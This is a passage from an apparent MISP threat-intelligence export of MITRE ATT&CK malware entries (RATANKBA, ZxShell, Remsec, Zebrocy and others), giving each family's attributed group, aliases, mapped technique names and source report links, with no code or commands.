- uses: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="WireLurker (OS X)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 5365. Table References

Links
https://attack.mitre.org/software/S0312
https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/

RATANKBA - S0241

[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)

The tag is: *misp-galaxy:mitre-malware="RATANKBA - S0241"*

RATANKBA - S0241 is also known as:

- RATANKBA

View relationships graph

RATANKBA - S0241 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5366. Table References

Links
https://attack.mitre.org/software/S0241
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/
https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html

HAPPYWORK - S0214

[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="HAPPYWORK - S0214"*

View relationships graph

HAPPYWORK - S0214 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="HAPPYWORK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5367. Table References

Links
https://attack.mitre.org/software/S0214
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

StreamEx - S0142

[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)

The tag is: *misp-galaxy:mitre-malware="StreamEx - S0142"*

StreamEx - S0142 is also known as:

- StreamEx

View relationships graph

StreamEx - S0142 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="StreamEx" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5368. Table References

Links
https://attack.mitre.org/software/S0142
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

GolfSpy - S0421

[GolfSpy](https://attack.mitre.org/software/S0421) is Android spyware deployed by the group

[Bouncing Golf](https://attack.mitre.org/groups/G0097).(Citation: Trend Micro Bouncing Golf 2019)

The tag is: *misp-galaxy:mitre-malware="GolfSpy - S0421"*

GolfSpy - S0421 is also known as:

- GolfSpy

View relationships graph

GolfSpy - S0421 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5369. Table References

Links
https://attack.mitre.org/software/S0421
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/

Pisloader - S0124

[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)

The tag is: *misp-galaxy:mitre-malware="Pisloader - S0124"*

Pisloader - S0124 is also known as:

- Pisloader

View relationships graph

Pisloader - S0124 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5370. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/
https://attack.mitre.org/software/S0124

ZxShell - S0412

[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)

The tag is: *misp-galaxy:mitre-malware="ZxShell - S0412"*

ZxShell - S0412 is also known as:

- ZxShell
- Sensocode

View relationships graph

ZxShell - S0412 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5371. Table References

Links
https://attack.mitre.org/software/S0412
https://blogs.cisco.com/security/talos/opening-zxshell
https://content.fireeye.com/apt-41/rpt-apt41

KARAE - S0215

[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="KARAE - S0215"*

KARAE - S0215 is also known as:

- KARAE

View relationships graph

KARAE - S0215 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="KARAE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5372. Table References

Links
https://attack.mitre.org/software/S0215
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

FatDuke - S0512

[FatDuke](https://attack.mitre.org/software/S0512) is a backdoor used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2016.(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="FatDuke - S0512"*

FatDuke - S0512 is also known as:

* FatDuke

View relationships graph

FatDuke - S0512 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5373. Table References

Links
https://attack.mitre.org/software/S0512
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

EvilGrab - S0152

[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: *misp-galaxy:mitre-malware="EvilGrab - S0152"*

EvilGrab - S0152 is also known as:

- EvilGrab

View relationships graph

EvilGrab - S0152 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5374. Table References

Links
https://attack.mitre.org/software/S0152
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

Remsec - S0125

[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)

The tag is: *misp-galaxy:mitre-malware="Remsec - S0125"*

Remsec - S0125 is also known as:

- Remsec
- Backdoor.Remsec
- ProjectSauron

View relationships graph

Remsec - S0125 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5375. Table References

Links
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://attack.mitre.org/software/S0125
https://securelist.com/faq-the-projectsauron-apt/75533/

Zebrocy - S0251

[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020)

The tag is: *misp-galaxy:mitre-malware="Zebrocy - S0251"*

Zebrocy - S0251 is also known as:

- Zebrocy

- Zekapab

View relationships graph

Zebrocy - S0251 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5376. Table References

Links
https://attack.mitre.org/software/S0251
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b

